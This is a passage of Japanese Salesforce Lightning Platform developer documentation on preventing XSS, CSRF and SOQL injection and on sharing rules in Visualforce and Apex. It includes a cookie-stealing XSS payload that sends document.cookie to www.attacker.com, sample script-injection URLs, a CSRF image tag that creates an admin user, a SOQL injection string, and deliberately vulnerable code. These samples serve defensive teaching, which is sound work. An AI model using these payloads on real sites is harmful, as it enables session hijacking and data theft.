このスクリプトブロックは、ユーザが入力した userparam の値をページに挿入します。これで攻撃者は
userparam に次の値を入力することができます。
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

この場合、現在のページのすべての Cookie が cookie.cgi スクリプトに対する要求のクエリ文字列として
www.attacker.com に送信されます。この時点で、攻撃者は被害者のセッション Cookie を持っており、彼ら
が被害者になりすまして Web アプリケーションに接続することができます。
攻撃者は、Web サイトまたはメールを使用して、悪意のあるスクリプトを送信できます。Web アプリケーショ
ンユーザにより攻撃者の入力が表示されるだけでなく、ブラウザによって信頼されたコンテキストで攻撃者の
スクリプトを実行することもできます。こうした機能により、攻撃者はさまざまな攻撃を被害者に対して行う
ことができます。攻撃の範囲はウィンドウを開いたり閉じたりする単純なアクションから、データまたはセッ
ションの Cookie を盗むなど、被害者のセッションに攻撃者が完全にアクセスできるようになる悪意に満ちた攻
撃にまでわたります。
こうした攻撃についての一般的な詳細は、次の記事を参照してください。
• http://www.owasp.org/index.php/Cross_Site_Scripting

• http://www.cgisecurity.com/xss-faq.html

• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting

• http://www.google.com/search?q=cross-site+scripting

Lightning Platform 内では、複数の対 XSS 防御策が実行されています。たとえば、多くの出力メソッドの有害な特
性を除外するフィルタが実装されています。標準クラスおよび出力メソッドを使用する開発者に対する XSS の
脆弱性の脅威は、大幅に緩和されています。ただし、クリエイティブな開発者によって、デフォルトのコント
ロールをわざとまたは偶然エスケープする方法がいまだに見つかっています。次のセクションでは、保護され
ている場所、保護されていない場所について説明しています。

既存の保護
<apex> で始まるすべての標準 Visualforce コンポーネントでは、有害な特性を除外する対 XSS フィルタが設定さ
れています。たとえば、ユーザに直接返されるユーザ指定の入力および出力を採用するため、次のコードは通
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常 XSS の攻撃に対して脆弱ですが、<apex:outputText> タグは XSS に対して安全です。HTML タグとされるす
べての文字は、リテラル形式に変換されます。たとえば、< 文字は &lt; に変換され、ユーザの画面上ではリ
テラル < が表示されます。
<apex:outputText>

{!$CurrentPage.parameters.userInput}
</apex:outputText>

Visualforce タグのエスケープの無効化
デフォルトでは、ほぼすべての Visualforce タグは XSS に対して脆弱な文字をエスケープします。省略可能な属性
escape="false"を設定することによって、この動作を無効化することができます。たとえば、次の出力は、
XSS の攻撃に対して脆弱です。
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

XSS から保護されていないプログラミング項目
次の項目には XSS 保護を組み込んでいないため、これらのタグおよびオブジェクトを使用する場合は特別な保
護を行う必要があります。これは、これらの項目により、開発者がスクリプトコマンドを挿入してページをカ
スタマイズできるようになっているためです。意図的にページに追加されるコマンドに対 XSS フィルタを指定
しても意味はありません。
カスタム JavaScript

独自の JavaScript を作成した場合、Lightning Platform にはユーザを保護する方法がありません。たとえば JavaScript

で使用している場合、次のコードは XSS の攻撃に対して脆弱です。
<script>

var foo = location.search;
document.write(foo);

</script>

<apex:includeScript>

<apex:includeScript>  Visualforce コンポーネントを使用して、ページにカスタムスクリプトを追加でき
ます。こうした場合、内容が安全で、ユーザが提供したデータが含まれていないことを慎重に確認してく
ださい。たとえば、次のスニペットはスクリプトの値としてユーザ提供の入力が含まれているため、特に
脆弱です。タグによって指定された値は、使用する JavaScript への URL です。攻撃者がパラメータに任意の
データを入力できる場合 (下記の例参照)、被害者に別の Web サイトの JavaScript ファイルを使用するよう指
示することができる可能性があります。
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
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[数式] タグ
これらのタグの一般的なシンタックスは、{!FUNCTION()} または {!$OBJECT.ATTRIBUTE} です。たとえ
ば、開発者がリンクにユーザのセッション ID を指定したい場合、次のシンタックスを使用してリンクを作成
することができます。
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

次のような出力となります。
<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

数式は関数コールとして使用したり、プラットフォームオブジェクト、ユーザの環境、システム環境、要求の
環境に関する情報を含めることができます。これらの数式の重要な特徴は、表示中にデータがエスケープされ
ないという点です。数式はサーバに表示されるため、JavaScript またはその他のクライアント側の技術を使用し
てクライアントの表示データをエスケープすることはできません。これにより、数式が非システムデータ (悪
意のあるまたは編集可能なデータ) を参照し、式自体が関数にラップされていない場合、表示中に出力をエス
ケープするという危険な状況を誘発する場合があります。一般的な脆弱性は、要求パラメータにアクセスする
{!$Request.*} 式の使用によって引き起こされます。
<html>

<head>
<title>{!$Request.title}</title>

</head>
<body>Hello world!</body>

</html>

エスケープされない {!$Request.title} タグによっても、クロスサイトスクリプトの脆弱性が誘発されま
す。たとえば、次のような要求の場合
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

出力は次のようになります。
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>

サーバ側でエスケープする標準メカニズムは、SUBSTITUTE()数式タグを使用します。例で {!$Request.*}

式の投入を指定すると、次のネストされた SUBSTITUTE() コールを使用して、上記のような攻撃を回避でき
ます。
<html>

<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>

</head>
<body>Hello world!</body>

</html>
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タグの投入およびデータの使用によって、エスケープされた文字およびエスケープが必要な文字が異なりま
す。たとえば、次のような文の場合
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

リンクで使用されるため、URL では HTML エスケープ文字の " の代わりに %22 を使用して二重引用符をエスケー
プする必要があります。そうでない場合、次のような要求
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

では、次のようになります。
<script>var ret = "foo";alert('xss');//";</script>

また、ret 変数では、含まれる HTML 制御文字が解釈されるような方法で使用される場合、ページの後半で追
加のクライアント側エスケープが必要になる場合があります。
また、数式タグを使用して、プラットフォームオブジェクトデータを追加することもできます。データがユー
ザの組織から直接取得されますが、データをエスケープしてユーザが他のユーザ (権限レベルがより高いユー
ザ) のコンテキストでコードを実行できなくなります。これらの種類の攻撃は同じ組織内のユーザによって実
行され、組織のユーザロールを弱体化し、データ監査の完全性を提言させてしまいます。また、多くの組織に
は、外部の供給元からインポートされたデータがありますが、悪意のあるコンテンツの除外が行われない場合
があります。

クロスサイトリクエストフォージェリ (CSRF)
クロスサイトリクエストフォージェリ (CSRF) の攻撃を受ける脆弱性は、プログラムエラーよりも保護対策の欠
如です。単純な例を示して CSRF について説明します。攻撃者が www.attacker.comに Web ページを持ってい
るとします。この Web ページは、サイトへの通信量を増大させる重要なサービスや情報を提供するページな
どです。攻撃者のページには、次のような HTML タグがあります。
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />

つまり、攻撃者のページには、あなたの Web サイトでアクションを実行する URL が含まれています。ユーザが
攻撃者の Web ページにアクセスしたときに、まだあなたの Web ページにログインしている場合、URL が取得さ
れ、アクションが実行されます。ユーザはあなたの Web ページで認証されているため、この攻撃は成功しま
す。これは非常に単純な例で、攻撃者の手口はより巧妙になっており、コールバック要求を生成するスクリプ
トを使用したり、あなたの AJAX メソッドに対して CSRF 攻撃を行うこともあります。
詳細および従来の防御方法については、次の記事を参照してください。
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery

• http://www.cgisecurity.com/csrf-faq.html

• http://shiflett.org/articles/cross-site-request-forgeries

Lightning Platform 内では、この攻撃を回避する対 CSRF トークンが実装されています。すべてのページにランダ
ムな文字列が非表示形式項目として指定されています。次のページが読み込まれると、アプリケーションはこ
の文字列の正当性を確認し、値が予測値と一致しない限り、コマンドを実行しません。この機能によって、す
べての標準コントローラおよびメソッドの使用時に攻撃から保護されます。
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開発者は、リスクを意識せずに組み込み防御策をスキップしてしまう場合があります。たとえば、オブジェク
ト ID を入力パラメータとして SOQL コールで使用するカスタムコントローラがあるとします。次のコードスニ
ペットについて考えます。
<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;

}
}

この場合、開発者は独自の action メソッドを作成して、意識せずに CSRF 対策コントロールをスキップしていま
す。id パラメータはコードで読み込まれ、使用されます。CSRF 対策トークンが読み込まれたり、検証された
りすることはありません。攻撃者の Web ページでは、CSRF 攻撃を使用してユーザをこのページに移動させ、
id パラメータとして攻撃者が望む値を指定する可能性があります。
このような状況に対する組み込み防御策がないため、開発者は前例の id変数のようなユーザ指定のパラメー
タに基づいてアクションを実行するページの書き込みに対し、注意する必要があります。回避策の 1 つは、ア
クションを実行する前に中間の確認ページを挿入して、ユーザが本当にそのページをコールしようとしている
のかどうかを確認することです。その他の対策として、組織のアイドルセッションのタイムアウトを短くする
こと、ユーザがあるサイトで認証されたままブラウザを使用して別のサイトに移動しないように、アクティブ
なセッションからログアウトすることを推奨すること、などが考えられます。
ユーザが複数の Salesforce ログインページを開いている場合、CSRF に対する Salesforce の組み込み防御策によっ
てエラーが表示される場合があります。ユーザが 1 つのタブで Salesforce にログインし、その後、別のタブでロ
グインを試みると「送信したページは、セッションに対して無効でした。」というエラーが表示されます。正
常にログインするには、ログインページを更新するか、ログインをもう一度試みます。

SOQL インジェクション
他のプログラミング言語では、上記の弱点を SQL インジェクションといいます。Apex では SQL を使用しません
が、独自のデータベースクエリ言語 SOQL を使用します。SOQL は、SQL より単純で、機能が制限されています。
そのため、SOQL インジェクションのリスクは SQL と比較して大幅に低くなりますが、攻撃は従来の SQL イン
ジェクションとほぼ同じです。集計時は、SQL/SOQL インジェクションではユーザが提供した入力を取得し、こ
れらの値を動的 SOQL クエリに使用します。入力が検証されない場合、SOQL ステートメントを事実上変更する
SOQL コマンドを指定し、アプリケーションにトリックを仕掛けて意図しないコマンドを実行するようにしま
す。
SQL インジェクション攻撃の詳細は、以下を参照してください。
• http://www.owasp.org/index.php/SQL_injection

• http://www.owasp.org/index.php/Blind_SQL_Injection

• http://www.owasp.org/index.php/Guide_to_SQL_Injection

• http://www.google.com/search?q=sql+injection
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Apex での SOQL インジェクションの脆弱性
以下に SOQL に対して脆弱な Apex コードおよび Visualforce の単純な例を示します。
<apex:page controller="SOQLController" >

<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />

</apex:form>
</apex:page>

public class SOQLController {
public String name {

get { return name;}
set { name = value;}

}
public PageReference query() {

String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';

queryResult = Database.query(qryString);
return null;

}
}

これは単純な例ですが、ロジックについて説明しています。コードは、削除されていない取引先責任者の検索
を行うためのものです。ユーザは nameという入力値を指定します。値はユーザが指定する任意の値で、検証
されません。SOQL クエリは動的に構築され、Database.query メソッドで実行されます。ユーザが正当な値
を指定すると、ステートメントは次のように期待どおり実行されます。
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

ただし、次のようにユーザが予期しない値を入力したかのようになります。
// User supplied value for name: test%') OR (Name LIKE '

この場合、クエリ文字列は次のようになります。
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

結果には削除されていない取引先責任者だけでなく、すべての取引先責任者が表示されます。SOQL インジェ
クションにより、脆弱なクエリの対象となるロジックを変更することができます。

SOQL インジェクションの防御策
SOQL インジェクションの攻撃を回避するには、動的 SOQL クエリを使用しないようにします。代わりに、静的
クエリとバインド変数を使用します。上記の脆弱な例は、静的 SOQL を使用して次のように書き直すことがで
きます。
public class SOQLController {

public String name {
get { return name;}
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set { name = value;}
}
public PageReference query() {

String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE

(IsDeleted = false and Name like :queryName)];
return null;

}
}

動的 SOQL を使用する必要がある場合、escapeSingleQuotesメソッドを使用して、ユーザ指定の入力を削除
します。このメソッドは、ユーザから渡される文字列のすべての単一引用符にエスケープ文字 (\) を追加しま
す。このメソッドにより、すべての単一引用符を、データベースコマンドではなく、囲まれた文字列として処
理します。

データアクセスコントロール
Lightning Platform は、データ共有ルールを広範囲に使用します。各オブジェクトには権限があり、ユーザが読み
取り、作成、編集、削除できる共有設定がある場合があります。これらの設定は、すべての標準コントローラ
を使用する場合に強制されます。
Apex クラスを使用する場合、組み込みユーザ権限、および項目レベルのセキュリティ制限は実行時に重視され
ません。デフォルトの動作として、Apex クラスに組織内のすべてのデータを読み込み更新する機能がありま
す。これらのルールは強制されないため、Apex を使用する開発者は、ユーザ権限、項目レベルのセキュリティ、
または組織のデフォルト設定によって通常は非表示となる機密データが不注意で公開されないようにする必要
があります。これは特に、Visualforce ページで当てはまります。たとえば、次の Apex 擬似コードについて考え
ます。
public class customController {

public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];

}
}

この場合、現在ログインしているユーザにこれらのレコードを表示する権限がない場合でも、すべての取引先
責任者レコードが検索されます。解決策として、クラスを宣言する場合、次のように修飾キーワードの with

sharing を使用します。
public with sharing class customController {

. . .
}

with sharing キーワードを使用すると、プラットフォームはすべてのレコードに完全アクセス権限を付与
するのではなく、現在ログインしているユーザのセキュリティ共有権限を使用します。

API の有効期限

Salesforce は、各 API バージョンを最初のリリース日から最低 3 年間サポートします。API の品質およびパフォー
マンスを充実させ、改善するために、3 年を超えるバージョンのサポートは停止される場合があります。
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API バージョンに廃止の予定がある場合、サポートが終了する最低 1 年前までに事前通知されます。Salesforce

は、廃止予定の API バージョンを使用するお客様に直接通知します。

メモ:  REST API のバージョン 20.0 は廃止され、サポートされなくなりました。Summer '22 がリリースされる
までは、この従来の API バージョンに引き続きアクセスできますが、Summer '22 がリリースされると、こ
の従来のバージョンは廃止されて使用できなくなります。詳細は、ナレッジ記事の「Salesforce Platform API

バージョン 7.0 ～ 20.0 の廃止」を参照してください。

メモ:  REST API のバージョン 21.0 から 30.0 は、Summer ’22 リリースで廃止される予定です。詳細は、ナレッ
ジ記事の「Salesforce Platform API バージョン 21.0 ～ 30.0 の廃止」を参照してください。
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